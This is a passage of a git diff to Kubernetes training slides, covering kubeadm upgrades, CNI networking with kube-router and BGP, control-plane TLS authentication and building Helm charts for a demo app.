-- Check what will be upgraded:
-  ```bash
-  sudo kubeadm upgrade plan
-  ```
-
-  (Note: kubeadm is confused by our manual upgrade of the API server.
-  <br/>It thinks the cluster is running 1.14.0!)
-
-<!-- ##VERSION## -->
-
-- Perform the upgrade:
-  ```bash
-  sudo kubeadm upgrade apply v1.14.2
-  ```
-
-]
-
----
-
-## Updating kubelets
-
-- After updating the control plane, we need to update each kubelet
-
-- This requires to run a special command on each node, to download the config
-
-  (this config is generated by kubeadm)
-
-.exercise[
-
-- Download the configuration on each node, and upgrade kubelet:
-  ```bash
-    for N in 1 2 3; do
-      ssh test$N sudo kubeadm upgrade node config --kubelet-version v1.14.2
-      ssh test$N sudo apt install kubelet=1.14.2-00
-    done
-  ```
-]
-
----
-
-## Checking what we've done
-
-- All our nodes should now be updated to version 1.14.2
-
-.exercise[
-
-- Check nodes versions:
-  ```bash
-  kubectl get nodes -o wide
-  ```
-
-]

slides/k8s/cni.md

@@ -1,688 +0,0 @@
-# The Container Network Interface
-
-- Allows us to decouple network configuration from Kubernetes
-
-- Implemented by *plugins*
-
-- Plugins are executables that will be invoked by kubelet
-
-- Plugins are responsible for:
-
-  - allocating IP addresses for containers
-
-  - configuring the network for containers
-
-- Plugins can be combined and chained when it makes sense
-
----
-
-## Combining plugins
-
-- Interface could be created by e.g. `vlan` or `bridge` plugin
-
-- IP address could be allocated by e.g. `dhcp` or `host-local` plugin
-
-- Interface parameters (MTU, sysctls) could be tweaked by the `tuning` plugin
-
-The reference plugins are available [here].
-
-Look in each plugin's directory for its documentation.
-
-[here]: https://github.com/containernetworking/plugins/tree/master/plugins
-
----
-
-## How does kubelet know which plugins to use?
-
-- The plugin (or list of plugins) is set in the CNI configuration
-
-- The CNI configuration is a *single file* in `/etc/cni/net.d`
-
-- If there are multiple files in that directory, the first one is used
-
-  (in lexicographic order)
-
-- That path can be changed with the `--cni-conf-dir` flag of kubelet
-
----
-
-## CNI configuration in practice
-
-- When we set up the "pod network" (like Calico, Weave...) it ships a CNI configuration
-
-  (and sometimes, custom CNI plugins)
-
-- Very often, that configuration (and plugins) is installed automatically
-
-  (by a DaemonSet featuring an initContainer with hostPath volumes)
-
-- Examples:
-
-  - Calico [CNI config](https://github.com/projectcalico/calico/blob/1372b56e3bfebe2b9c9cbf8105d6a14764f44159/v2.6/getting-started/kubernetes/installation/hosted/calico.yaml#L25)
-    and [volume](https://github.com/projectcalico/calico/blob/1372b56e3bfebe2b9c9cbf8105d6a14764f44159/v2.6/getting-started/kubernetes/installation/hosted/calico.yaml#L219)
-
-  - kube-router [CNI config](https://github.com/cloudnativelabs/kube-router/blob/c2f893f64fd60cf6d2b6d3fee7191266c0fc0fe5/daemonset/generic-kuberouter.yaml#L10)
-    and [volume](https://github.com/cloudnativelabs/kube-router/blob/c2f893f64fd60cf6d2b6d3fee7191266c0fc0fe5/daemonset/generic-kuberouter.yaml#L73)
-
----
-
-class: extra-details
-
-## Conf vs conflist
-
-- There are two slightly different configuration formats
-
-- Basic configuration format:
-
-  - holds configuration for a single plugin
-  - typically has a `.conf` name suffix
-  - has a `type` string field in the top-most structure
-  - [examples](https://github.com/containernetworking/cni/blob/master/SPEC.md#example-configurations)
-
-- Configuration list format:
-
-  - can hold configuration for multiple (chained) plugins
-  - typically has a `.conflist` name suffix
-  - has a `plugins` list field in the top-most structure
-  - [examples](https://github.com/containernetworking/cni/blob/master/SPEC.md#network-configuration-lists)
-
----
-
-class: extra-details
-
-## How plugins are invoked
-
-- Parameters are given through environment variables, including:
-
-  - CNI_COMMAND: desired operation (ADD, DEL, CHECK, or VERSION)
-
-  - CNI_CONTAINERID: container ID
-
-  - CNI_NETNS: path to network namespace file
-
-  - CNI_IFNAME: what the network interface should be named
-
-- The network configuration must be provided to the plugin on stdin
-
-  (this avoids race conditions that could happen by passing a file path)
-
----
-
-## In practice: kube-router
-
-- We are going to set up a new cluster
-
-- For this new cluster, we will use kube-router
-
-- kube-router will provide the "pod network"
-
-  (connectivity with pods)
-
-- kube-router will also provide internal service connectivity
-
-  (replacing kube-proxy)
-
----
-
-## How kube-router works
-
-- Very simple architecture
-
-- Does not introduce new CNI plugins
-
-  (uses the `bridge` plugin, with `host-local` for IPAM)
-
-- Pod traffic is routed between nodes
-
-  (no tunnel, no new protocol)
-
-- Internal service connectivity is implemented with IPVS
-
-- Can provide pod network and/or internal service connectivity
-
-- kube-router daemon runs on every node
-
----
-
-## What kube-router does
-
-- Connect to the API server
-
-- Obtain the local node's `podCIDR`
-
-- Inject it into the CNI configuration file
-
-  (we'll use `/etc/cni/net.d/10-kuberouter.conflist`)
-
-- Obtain the addresses of all nodes
-
-- Establish a *full mesh* BGP peering with the other nodes
-
-- Exchange routes over BGP
-
----
-
-## What's BGP?
-
-- BGP (Border Gateway Protocol) is the protocol used between internet routers
-
-- It [scales](https://www.cidr-report.org/as2.0/)
-  pretty [well](https://www.cidr-report.org/cgi-bin/plota?file=%2fvar%2fdata%2fbgp%2fas2.0%2fbgp-active%2etxt&descr=Active%20BGP%20entries%20%28FIB%29&ylabel=Active%20BGP%20entries%20%28FIB%29&with=step)
-  (it is used to announce the 700k CIDR prefixes of the internet)
-
-- It is spoken by many hardware routers from many vendors
-
-- It also has many software implementations (Quagga, Bird, FRR...)
-
-- Experienced network folks generally know it (and appreciate it)
-
-- It also used by Calico (another popular network system for Kubernetes)
-
-- Using BGP allows us to interconnect our "pod network" with other systems
-
----
-
-## The plan
-
-- We'll work in a new cluster (named `kuberouter`)
-
-- We will run a simple control plane (like before)
-
-- ... But this time, the controller manager will allocate `podCIDR` subnets
-
-  (so that we don't have to manually assign subnets to individual nodes)
-
-- We will create a DaemonSet for kube-router
-
-- We will join nodes to the cluster
-
-- The DaemonSet will automatically start a kube-router pod on each node
-
----
-
-## Logging into the new cluster
-
-.exercise[
-
-- Log into node `kuberouter1`
-
-- Clone the workshop repository:
-  ```bash
-  git clone https://@@GITREPO@@
-  ```
-
-- Move to this directory:
-  ```bash
-  cd container.training/compose/kube-router-k8s-control-plane
-  ```
-
-]
-
----
-
-## Our control plane
-
-- We will use a Compose file to start the control plane
-
-- It is similar to the one we used with the `kubenet` cluster
-
-- The API server is started with `--allow-privileged`
-
-  (because we will start kube-router in privileged pods)
-
-- The controller manager is started with extra flags too:
-
-  `--allocate-node-cidrs` and `--cluster-cidr`
-
-- We need to edit the Compose file to set the Cluster CIDR
-
----
-
-## Starting the control plane
-
-- Our cluster CIDR will be `10.C.0.0/16`
-
-  (where `C` is our cluster number)
-
-.exercise[
-
-- Edit the Compose file to set the Cluster CIDR:
-  ```bash
-  vim docker-compose.yaml
-  ```
-
-- Start the control plane:
-  ```bash
-  docker-compose up
-  ```
-
-]
-
----
-
-## The kube-router DaemonSet
-
-- In the same directory, there is a `kuberouter.yaml` file
-
-- It contains the definition for a DaemonSet and a ConfigMap
-
-- Before we load it, we also need to edit it
-
-- We need to indicate the address of the API server
-
-  (because kube-router needs to connect to it to retrieve node information)
-
----
-
-## Creating the DaemonSet
-
-- The address of the API server will be `http://A.B.C.D:8080`
-
-  (where `A.B.C.D` is the public address of `kuberouter1`, running the control plane)
-
-.exercise[
-
-- Edit the YAML file to set the API server address:
-  ```bash
-  vim kuberouter.yaml
-  ```
-
-- Create the DaemonSet:
-  ```bash
-  kubectl create -f kuberouter.yaml
-  ```
-
-]
-
-Note: the DaemonSet won't create any pods (yet) since there are no nodes (yet).
-
----
-
-## Generating the kubeconfig for kubelet
-
-- This is similar to what we did for the `kubenet` cluster
-
-.exercise[
-
-- Generate the kubeconfig file (replacing `X.X.X.X` with the address of `kuberouter1`):
-  ```bash
-    kubectl config set-cluster cni --server http://`X.X.X.X`:8080
-    kubectl config set-context cni --cluster cni
-    kubectl config use-context cni
-    cp ~/.kube/config ~/kubeconfig
-  ```
-
-]
-
----
-
-## Distributing kubeconfig
-
-- We need to copy that kubeconfig file to the other nodes
-
-.exercise[
-
-- Copy `kubeconfig` to the other nodes:
-  ```bash
-    for N in 2 3; do
-    	scp ~/kubeconfig kuberouter$N:
-    done
-  ```
-
-]
-
----
-
-## Starting kubelet
-
-- We don't need the `--pod-cidr` option anymore
-
-  (the controller manager will allocate these automatically)
-
-- We need to pass `--network-plugin=cni`
-
-.exercise[
-
-- Join the first node:
-   ```bash
-   sudo kubelet --kubeconfig ~/kubeconfig --network-plugin=cni
-   ```
-
-- Open more terminals and join the other nodes:
-  ```bash
-  ssh kuberouter2 sudo kubelet --kubeconfig ~/kubeconfig --network-plugin=cni
-  ssh kuberouter3 sudo kubelet --kubeconfig ~/kubeconfig --network-plugin=cni
-  ```
-
-]
-
----
-
-## Setting up a test
-
-- Let's create a Deployment and expose it with a Service
-
-.exercise[
-
-- Create a Deployment running a web server:
-  ```bash
-  kubectl create deployment web --image=jpetazzo/httpenv
-  ```
-
-- Scale it so that it spans multiple nodes:
-  ```bash
-  kubectl scale deployment web --replicas=5
-  ```
-
-- Expose it with a Service:
-  ```bash
-  kubectl expose deployment web --port=8888
-  ```
-
-]
-
----
-
-## Checking that everything works
-
-.exercise[
-
-- Get the ClusterIP address for the service:
-  ```bash
-  kubectl get svc web
-  ```
-
-- Send a few requests there:
-  ```bash
-  curl `X.X.X.X`:8888
-  ```
-
-]
-
-Note that if you send multiple requests, they are load-balanced in a round robin manner.
-
-This shows that we are using IPVS (vs. iptables, which picked random endpoints).
-
----
-
-## Troubleshooting
-
-- What if we need to check that everything is working properly?
-
-.exercise[
-
-- Check the IP addresses of our pods:
-  ```bash
-  kubectl get pods -o wide
-  ```
-
-- Check our routing table:
-  ```bash
-  route -n
-  ip route
-  ```
-
-]
-
-We should see the local pod CIDR connected to `kube-bridge`, and the other nodes' pod CIDRs having individual routes, with each node being the gateway.
-
----
-
-## More troubleshooting
-
-- We can also look at the output of the kube-router pods
-
-  (with `kubectl logs`)
-
-- kube-router also comes with a special shell that gives lots of useful info
-
-  (we can access it with `kubectl exec`)
-
-- But with the current setup of the cluster, these options may not work!
-
-- Why?
-
----
-
-## Trying `kubectl logs` / `kubectl exec`
-
-.exercise[
-
-- Try to show the logs of a kube-router pod:
-  ```bash
-  kubectl -n kube-system logs ds/kube-router
-  ```
-
-- Or try to exec into one of the kube-router pods:
-  ```bash
-  kubectl -n kube-system exec kube-router-xxxxx bash
-  ```
-
-]
-
-These commands will give an error message that includes:
-```
-dial tcp: lookup kuberouterX on 127.0.0.11:53: no such host
-```
-
-What does that mean?
-
----
-
-## Internal name resolution
-
-- To execute these commands, the API server needs to connect to kubelet
-
-- By default, it creates a connection using the kubelet's name
-
-  (e.g. `http://kuberouter1:...`)
-
-- This requires our nodes names to be in DNS
-
-- We can change that by setting a flag on the API server:
-
-  `--kubelet-preferred-address-types=InternalIP`
-
----
-
-## Another way to check the logs
-
-- We can also ask the logs directly to the container engine
-
-- First, get the container ID, with `docker ps` or like this:
-  ```bash
-  CID=$(docker ps -q \
-        --filter label=io.kubernetes.pod.namespace=kube-system \
-        --filter label=io.kubernetes.container.name=kube-router)
-  ```
-
-- Then view the logs:
-  ```bash
-  docker logs $CID
-  ```
-
----
-
-class: extra-details
-
-## Other ways to distribute routing tables
-
-- We don't need kube-router and BGP to distribute routes
-
-- The list of nodes (and associated `podCIDR` subnets) is available through the API
-
-- This shell snippet generates the commands to add all required routes on a node:
-
-```bash
-NODES=$(kubectl get nodes -o name | cut -d/ -f2)
-for DESTNODE in $NODES; do
-  if [ "$DESTNODE" != "$HOSTNAME" ]; then
-    echo $(kubectl get node $DESTNODE -o go-template="
-      route add -net {{.spec.podCIDR}} gw {{(index .status.addresses 0).address}}")
-  fi
-done
-```
-
-- This could be useful for embedded platforms with very limited resources
-
-  (or lab environments for learning purposes)
-
----
-
-# Interconnecting clusters
-
-- We assigned different Cluster CIDRs to each cluster
-
-- This allows us to connect our clusters together
-
-- We will leverage kube-router BGP abilities for that
-
-- We will *peer* each kube-router instance with a *route reflector*
-
-- As a result, we will be able to ping each other's pods
-
----
-
-## Disclaimers
-
-- There are many methods to interconnect clusters
-
-- Depending on your network implementation, you will use different methods
-
-- The method shown here only works for nodes with direct layer 2 connection
-
-- We will often need to use tunnels or other network techniques
-
----
-
-## The plan
-
-- Someone will start the *route reflector*
-
-  (typically, that will be the person presenting these slides!)
-
-- We will update our kube-router configuration
-
-- We will add a *peering* with the route reflector
-
-  (instructing kube-router to connect to it and exchange route information)
-
-- We should see the routes to other clusters on our nodes
-
-  (in the output of e.g. `route -n` or `ip route show`)
-
-- We should be able to ping pods of other nodes
-
----
-
-## Starting the route reflector
-
-- Only do this slide if you are doing this on your own
-
-- There is a Compose file in the `compose/frr-route-reflector` directory
-
-- Before continuing, make sure that you have the IP address of the route reflector
-
----
-
-## Configuring kube-router
-
-- This can be done in two ways:
-
-  - with command-line flags to the `kube-router` process
-
-  - with annotations to Node objects
-
-- We will use the command-line flags
-
-  (because it will automatically propagate to all nodes)
-
-.footnote[Note: with Calico, this is achieved by creating a BGPPeer CRD.]
-
----
-
-## Updating kube-router configuration
-
-- We need to pass two command-line flags to the kube-router process
-
-.exercise[
-
-- Edit the `kuberouter.yaml` file
-
-- Add the following flags to the kube-router arguments:
-  ```
-  - "--peer-router-ips=`X.X.X.X`"
-  - "--peer-router-asns=64512"
-  ```
-  (Replace `X.X.X.X` with the route reflector address)
-
-- Update the DaemonSet definition:
-  ```bash
-  kubectl apply -f kuberouter.yaml
-  ```
-
-]
-
----
-
-## Restarting kube-router
-
-- The DaemonSet will not update the pods automatically
-
-  (it is using the default `updateStrategy`, which is `OnDelete`)
-
-- We will therefore delete the pods
-
-  (they will be recreated with the updated definition)
-
-.exercise[
-
-- Delete all the kube-router pods:
-  ```bash
-  kubectl delete pods -n kube-system -l k8s-app=kube-router
-  ```
-
-]
-
-Note: the other `updateStrategy` for a DaemonSet is RollingUpdate.
-<br/>
-For critical services, we might want to precisely control the update process.
-
----
-
-## Checking peering status
-
-- We can see informative messages in the output of kube-router:
-  ```
-  time="2019-04-07T15:53:56Z" level=info msg="Peer Up"
-  Key=X.X.X.X State=BGP_FSM_OPENCONFIRM Topic=Peer
-  ```
-
-- We should see the routes of the other clusters show up
-
-- For debugging purposes, the reflector also exports a route to 1.0.0.2/32
-
-- That route will show up like this:
-  ```
-  1.0.0.2     172.31.X.Y    255.255.255.255 UGH   0      0        0 eth0
-  ```
-
-- We should be able to ping the pods of other clusters!
-
----
-
-## If we wanted to do more ...
-
-- kube-router can also export ClusterIP addresses
-
-  (by adding the flag `--advertise-cluster-ip`)
-
-- They are exported individually (as /32)
-
-- This would allow us to easily access other clusters' services
-
-  (without having to resolve the individual addresses of pods)
-
-- Even better if it's combined with DNS integration
-
-  (to facilitate name → ClusterIP resolution)

slides/k8s/concepts-k8s.md

@@ -130,14 +130,6 @@ class: pic
 
 ---
 
-class: pic
-
-![One of the best Kubernetes architecture diagrams available](images/k8s-arch4-thanks-luxas.png)
-
----
-
-class: extra-details
-
 ## Running the control plane on special nodes
 
 - It is common to reserve a dedicated node for the control plane
@@ -160,8 +152,6 @@ class: extra-details
 
 ---
 
-class: extra-details
-
 ## Running the control plane outside containers
 
 - The services of the control plane can run in or out of containers
@@ -177,12 +167,10 @@ class: extra-details
 
 - In that case, there is no "master node"
 
-*For this reason, it is more accurate to say "control plane" rather than "master."*
+*For this reason, it is more accurate to say "control plane" rather than "master".*
 
 ---
 
-class: extra-details
-
 ## Do we need to run Docker at all?
 
 No!
@@ -199,8 +187,6 @@ No!
 
 ---
 
-class: extra-details
-
 ## Do we need to run Docker at all?
 
 Yes!
@@ -223,8 +209,6 @@ Yes!
 
 ---
 
-class: extra-details
-
 ## Do we need to run Docker at all?
 
 - On our development environments, CI pipelines ... :
@@ -241,21 +225,25 @@ class: extra-details
 
 ---
 
-## Interacting with Kubernetes
+## Kubernetes resources
 
-- We will interact with our Kubernetes cluster through the Kubernetes API
+- The Kubernetes API defines a lot of objects called *resources*
 
-- The Kubernetes API is (mostly) RESTful
-
-- It allows us to create, read, update, delete *resources*
+- These resources are organized by type, or `Kind` (in the API)
 
 - A few common resource types are:
 
   - node (a machine — physical or virtual — in our cluster)
-
   - pod (group of containers running together on a node)
-
   - service (stable network endpoint to connect to one or multiple containers)
+  - namespace (more-or-less isolated group of things)
+  - secret (bundle of sensitive data to be passed to a container)
+ 
+  And much more!
+
+- We can see the full list by running `kubectl api-resources`
+
+  (In Kubernetes 1.10 and prior, the command to list API resources was `kubectl get`)
 
 ---
 
@@ -265,16 +253,22 @@ class: pic
 
 ---
 
+class: pic
+
+![One of the best Kubernetes architecture diagrams available](images/k8s-arch4-thanks-luxas.png)
+
+---
+
 ## Credits
 
-- The first diagram is courtesy of Lucas Käldström, in [this presentation](https://speakerdeck.com/luxas/kubeadm-cluster-creation-internals-from-self-hosting-to-upgradability-and-ha)
-
-  - it's one of the best Kubernetes architecture diagrams available!
-
-- The second diagram is courtesy of Weave Works
+- The first diagram is courtesy of Weave Works
 
   - a *pod* can have multiple containers working together
 
   - IP addresses are associated with *pods*, not with individual containers
 
+- The second diagram is courtesy of Lucas Käldström, in [this presentation](https://speakerdeck.com/luxas/kubeadm-cluster-creation-internals-from-self-hosting-to-upgradability-and-ha)
+
+  - it's one of the best Kubernetes architecture diagrams available!
+
 Both diagrams used with permission.

slides/k8s/configuration.md

@@ -22,7 +22,7 @@
 
 - There are many ways to pass configuration to code running in a container:
 
-  - baking it into a custom image
+  - baking it in a custom image
 
   - command-line arguments
 
@@ -125,7 +125,7 @@
 
 - We can also use a mechanism called the *downward API*
 
-- The downward API allows exposing pod or container information
+- The downward API allows to expose pod or container information
 
   - either through special files (we won't show that for now)
 
@@ -436,7 +436,7 @@ We should see connections served by Google, and others served by IBM.
 
 - We are going to store the port number in a configmap
 
-- Then we will expose that configmap as a container environment variable
+- Then we will expose that configmap to a container environment variable
 
 ---
 

slides/k8s/control-plane-auth.md

@@ -1,265 +0,0 @@
-# Securing the control plane
-
-- Many components accept connections (and requests) from others:
-
-  - API server
-
-  - etcd
-
-  - kubelet
-
-- We must secure these connections:
-
-  - to deny unauthorized requests
-
-  - to prevent eavesdropping secrets, tokens, and other sensitive information
-
-- Disabling authentication and/or authorization is **strongly discouraged**
-
-  (but it's possible to do it, e.g. for learning / troubleshooting purposes)
-
----
-
-## Authentication and authorization
-
-- Authentication (checking "who you are") is done with mutual TLS
-
- (both the client and the server need to hold a valid certificate)
-
-- Authorization (checking "what you can do") is done in different ways
-
-  - the API server implements a sophisticated permission logic (with RBAC)
-  
-  - some services will defer authorization to the API server (through webhooks)
-
-  - some services require a certificate signed by a particular CA / sub-CA
-
----
-
-## In practice
-
-- We will review the various communication channels in the control plane
-
-- We will describe how they are secured
-
-- When TLS certificates are used, we will indicate:
-
-  - which CA signs them
-
-  - what their subject (CN) should be, when applicable
-
-- We will indicate how to configure security (client- and server-side)
-
----
-
-## etcd peers
-
-- Replication and coordination of etcd happens on a dedicated port
-
-  (typically port 2380; the default port for normal client connections is 2379)
-
-- Authentication uses TLS certificates with a separate sub-CA
-
-  (otherwise, anyone with a Kubernetes client certificate could access etcd!)
-
-- The etcd command line flags involved are:
-
-   `--peer-client-cert-auth=true` to activate it
-
-   `--peer-cert-file`, `--peer-key-file`, `--peer-trusted-ca-file`
-
----
-
-## etcd clients
-
-- The only¹ thing that connects to etcd is the API server
-
-- Authentication uses TLS certificates with a separate sub-CA
-
-  (for the same reasons as for etcd inter-peer authentication)
-
-- The etcd command line flags involved are:
-
-  `--client-cert-auth=true` to activate it
-
-  `--trusted-ca-file`, `--cert-file`, `--key-file`
-
-- The API server command line flags involved are:
-
-  `--etcd-cafile`, `--etcd-certfile`, `--etcd-keyfile`
-
-.footnote[¹Technically, there is also the etcd healthcheck. Let's ignore it for now.]
-
----
-
-## API server clients
-
-- The API server has a sophisticated authentication and authorization system
-
-- For connections coming from other components of the control plane:
-
-  - authentication uses certificates (trusting the certificates' subject or CN)
-
-  - authorization uses whatever mechanism is enabled (most oftentimes, RBAC)
-
-- The relevant API server flags are:
-
-  `--client-ca-file`, `--tls-cert-file`, `--tls-private-key-file`
-
-- Each component connecting to the API server takes a `--kubeconfig` flag
-
-  (to specify a kubeconfig file containing the CA cert, client key, and client cert)
-
-- Yes, that kubeconfig file follows the same format as our `~/.kube/config` file!
-
----
-
-## Kubelet and API server
-
-- Communication between kubelet and API server can be established both ways
-
-- Kubelet → API server:
-
-  - kubelet registers itself ("hi, I'm node42, do you have work for me?")
-
-  - connection is kept open and re-established if it breaks
-
-  - that's how the kubelet knows which pods to start/stop
-
-- API server → kubelet:
-
-  - used to retrieve logs, exec, attach to containers
-
----
-
-## Kubelet → API server
-
-- Kubelet is started with `--kubeconfig` with API server information
-
-- The client certificate of the kubelet will typically have:
-
-  `CN=system:node:<nodename>` and groups `O=system:nodes`
-
-- Nothing special on the API server side
-
-  (it will authenticate like any other client)
-
----
-
-## API server → kubelet
-
-- Kubelet is started with the flag `--client-ca-file`
-
-  (typically using the same CA as the API server)
-
-- API server will use a dedicated key pair when contacting kubelet
-
-  (specified with `--kubelet-client-certificate` and `--kubelet-client-key`)
-
-- Authorization uses webhooks
-
-  (enabled with `--authorization-mode=Webhook` on kubelet)
-
-- The webhook server is the API server itself
-
-  (the kubelet sends back a request to the API server to ask, "can this person do that?")
-
----
-
-## Scheduler
-
-- The scheduler connects to the API server like an ordinary client
-
-- The certificate of the scheduler will have `CN=system:kube-scheduler`
-
----
-
-## Controller manager
-
-- The controller manager is also a normal client to the API server
-
-- Its certificate will have `CN=system:kube-controller-manager`
-
-- If we use the CSR API, the controller manager needs the CA cert and key
-
-  (passed with flags `--cluster-signing-cert-file` and `--cluster-signing-key-file`)
-
-- We usually want the controller manager to generate tokens for service accounts
-
-- These tokens deserve some details (on the next slide!)
-
----
-
-## Service account tokens
-
-- Each time we create a service account, the controller manager generates a token
-
-- These tokens are JWT tokens, signed with a particular key
-
-- These tokens are used for authentication with the API server
-
-  (and therefore, the API server needs to be able to verify their integrity)
-
-- This uses another keypair:
-
-  - the private key (used for signature) is passed to the controller manager
-    <br/>(using flags `--service-account-private-key-file` and `--root-ca-file`)
-
-  - the public key (used for verification) is passed to the API server
-    <br/>(using flag `--service-account-key-file`)
-
----
-
-## kube-proxy
-
-- kube-proxy is "yet another API server client"
-
-- In many clusters, it runs as a Daemon Set
-
-- In that case, it will have its own Service Account and associated permissions
-
-- It will authenticate using the token of that Service Account
-
----
-
-## Webhooks
-
-- We mentioned webhooks earlier; how does that really work?
-
-- The Kubernetes API has special resource types to check permissions
-
-- One of them is SubjectAccessReview
-
-- To check if a particular user can do a particular action on a particular resource:
-
-  - we prepare a SubjectAccessReview object
-
-  - we send that object to the API server
-
-  - the API server responds with allow/deny (and optional explanations)
-
-- Using webhooks for authorization = sending SAR to authorize each request
-
----
-
-## Subject Access Review
-
-Here is an example showing how to check if `jean.doe` can `get` some `pods` in `kube-system`:
-
-```bash
-kubectl -v9 create -f- <<EOF
-apiVersion: authorization.k8s.io/v1beta1
-kind: SubjectAccessReview
-spec:
-  user: jean.doe
-  group:
-  - foo
-  - bar
-  resourceAttributes:
-    #group: blah.k8s.io
-    namespace: kube-system
-    resource: pods
-    verb: get
-    #name: web-xyz1234567-pqr89
-EOF
-```

slides/k8s/create-chart.md

@@ -1,114 +0,0 @@
-## Creating a chart
-
-- We are going to show a way to create a *very simplified* chart
-
-- In a real chart, *lots of things* would be templatized
-
-  (Resource names, service types, number of replicas...)
-
-.exercise[
-
-- Create a sample chart:
-  ```bash
-  helm create dockercoins
-  ```
-
-- Move away the sample templates and create an empty template directory:
-  ```bash
-  mv dockercoins/templates dockercoins/default-templates
-  mkdir dockercoins/templates
-  ```
-
-]
-
----
-
-## Exporting the YAML for our application
-
-- The following section assumes that DockerCoins is currently running
-
-.exercise[
-
-- Create one YAML file for each resource that we need:
-  .small[
-  ```bash
-
-	while read kind name; do
-	  kubectl get -o yaml $kind $name > dockercoins/templates/$name-$kind.yaml
-	done <<EOF
-	deployment worker
-	deployment hasher
-	daemonset rng
-	deployment webui
-	deployment redis
-	service hasher
-	service rng
-	service webui
-	service redis
-	EOF
-  ```
-  ]
-
-]
-
----
-
-## Testing our helm chart
-
-.exercise[
-
-- Let's install our helm chart! (`dockercoins` is the path to the chart)
-  ```
-  helm install dockercoins
-  ```
-]
-
---
-
-- Since the application is already deployed, this will fail:<br>
-`Error: release loitering-otter failed: services "hasher" already exists`
-
-- To avoid naming conflicts, we will deploy the application in another *namespace*
-
----
-
-## Switching to another namespace
-
-- We can create a new namespace and switch to it
-
-  (Helm will automatically use the namespace specified in our context)
-
-- We can also tell Helm which namespace to use
-
-.exercise[
-
-- Tell Helm to use a specific namespace:
-  ```bash
-  helm install dockercoins --namespace=magenta
-  ```
-
-]
-
----
-
-## Checking our new copy of DockerCoins
-
-- We can check the worker logs, or the web UI
-
-.exercise[
-
-- Retrieve the NodePort number of the web UI:
-  ```bash
-  kubectl get service webui --namespace=magenta
-  ```
-
-- Open it in a web browser
-
-- Look at the worker logs:
-  ```bash
-  kubectl logs deploy/worker --tail=10 --follow --namespace=magenta
-  ```
-
-]
-
-Note: it might take a minute or two for the worker to start.

slides/k8s/create-more-charts.md

@@ -1,367 +0,0 @@
-# Creating Helm charts
-
-- We are going to create a generic Helm chart
-
-- We will use that Helm chart to deploy DockerCoins
-
-- Each component of DockerCoins will have its own *release*
-
-- In other words, we will "install" that Helm chart multiple times
-
-  (one time per component of DockerCoins)
-
----
-
-## Creating a generic chart
-
-- Rather than starting from scratch, we will use `helm create`
-
-- This will give us a basic chart that we will customize
-
-.exercise[
-
-- Create a basic chart:
-  ```bash
-  cd ~
-  helm create helmcoins
-  ```
-
-]
-
-This creates a basic chart in the directory `helmcoins`.
-
----
-
-## What's in the basic chart?
-
-- The basic chart will create a Deployment and a Service
-
-- Optionally, it will also include an Ingress
-
-- If we don't pass any values, it will deploy the `nginx` image
-
-- We can override many things in that chart
-
-- Let's try to deploy DockerCoins components with that chart!
-
----
-
-## Writing `values.yaml` for our components
-
-- We need to write one `values.yaml` file for each component
-
-  (hasher, redis, rng, webui, worker)
-
-- We will start with the `values.yaml` of the chart, and remove what we don't need
-
-- We will create 5 files:
-
-  hasher.yaml, redis.yaml, rng.yaml, webui.yaml, worker.yaml
-
----
-
-## Getting started
-
-- For component X, we want to use the image dockercoins/X:v0.1
-
-  (for instance, for rng, we want to use the image dockercoins/rng:v0.1)
-
-- Exception: for redis, we want to use the official image redis:latest
-
-.exercise[
-
-- Write minimal YAML files for the 5 components, specifying only the image
-
-]
-
---
-
-*Hint: our YAML files should look like this.*
-
-```yaml
-### rng.yaml
-image:
-  repository: dockercoins/`rng`
-  tag: v0.1
-```
-
----
-
-## Deploying DockerCoins components
-
-- For convenience, let's work in a separate namespace
-
-.exercise[
-
-- Create a new namespace:
-  ```bash
-  kubectl create namespace helmcoins
-  ```
-
-- Switch to that namespace:
-  ```bash
-  kns helmcoins
-  ```
-
-]
-
----
-
-## Deploying the chart
-
-- To install a chart, we can use the following command:
-  ```bash
-  helm install [--name `X`] <chart>
-  ```
-
-- We can also use the following command, which is idempotent:
-  ```bash
-  helm upgrade --install `X` chart
-  ```
-
-.exercise[
-
-- Install the 5 components of DockerCoins:
-  ```bash
-    for COMPONENT in hasher redis rng webui worker; do
-      helm upgrade --install $COMPONENT helmcoins/ --values=$COMPONENT.yaml
-    done
-  ```
-
-]
-
----
-
-## Checking what we've done
-
-- Let's see if DockerCoins is working!
-
-.exercise[
-
-- Check the logs of the worker:
-  ```bash
-  stern worker
-  ```
-
-- Look at the resources that were created:
-  ```bash
-  kubectl get all
-  ```
-
-]
-
-There are *many* issues to fix!
-
----
-
-## Service names
-
-- Our services should be named `rng`, `hasher`, etc., but they are named differently
-
-- Look at the YAML template used for the services
-
-- Does it look like we can override the name of the services?
-
---
-
-- *Yes*, we can use `.Values.nameOverride`
-
-- This means setting `nameOverride` in the values YAML file
-
----
-
-## Setting service names
-
-- Let's add `nameOverride: X` in each values YAML file!
-
-  (where X is hasher, redis, rng, etc.)
-
-.exercise[
-
-- Edit the 5 YAML files to add `nameOverride: X`
-
-- Deploy the updated Chart:
-  ```bash
-    for COMPONENT in hasher redis rng webui worker; do
-      helm upgrade --install $COMPONENT helmcoins/ --values=$COMPONENT.yaml
-    done
-  ```
-  (Yes, this is exactly the same command as before!)
-
-]
-
----
-
-## Checking what we've done
-
-.exercise[
-
-- Check the service names:
-  ```bash
-  kubectl get services
-  ```
-  Great! (We have a useless service for `worker`, but let's ignore it for now.)
-
-- Check the state of the pods:
-  ```bash
-  kubectl get pods
-  ```
-  Not so great... Some pods are *not ready.*
-
-]
-
----
-
-## Troubleshooting pods
-
-- The easiest way to troubleshoot pods is to look at *events*
-
-- We can look at all the events on the cluster (with `kubectl get events`)
-
-- Or we can use `kubectl describe` on the objects that have problems
-
-  (`kubectl describe` will retrieve the events related to the object)
-
-.exercise[
-
-- Check the events for the redis pods:
-  ```bash
-  kubectl describe pod -l app.kubernetes.io/name=redis
-  ```
-
-]
-
-What's going on?
-
----
-
-## Healthchecks
-
-- The default chart defines healthchecks doing HTTP requests on port 80
-
-- That won't work for redis and worker
-
-  (redis is not HTTP, and not on port 80; worker doesn't even listen)
-
---
-
-- We could comment out the healthchecks
-
-- We could also make them conditional
-
-- This sounds more interesting, let's do that!
-
----
-
-## Conditionals
-
-- We need to enclose the healthcheck block with:
-
-  `{{ if CONDITION }}` at the beginning
-
-  `{{ end }}` at the end
-
-- For the condition, we will use `.Values.healthcheck`
-
----
-
-## Updating the deployment template
-
-.exercise[
-
-- Edit `helmcoins/templates/deployment.yaml`
-
-- Before the healthchecks section (it starts with `livenessProbe:`), add:
-
-  `{{ if .Values.healthcheck }}`
-
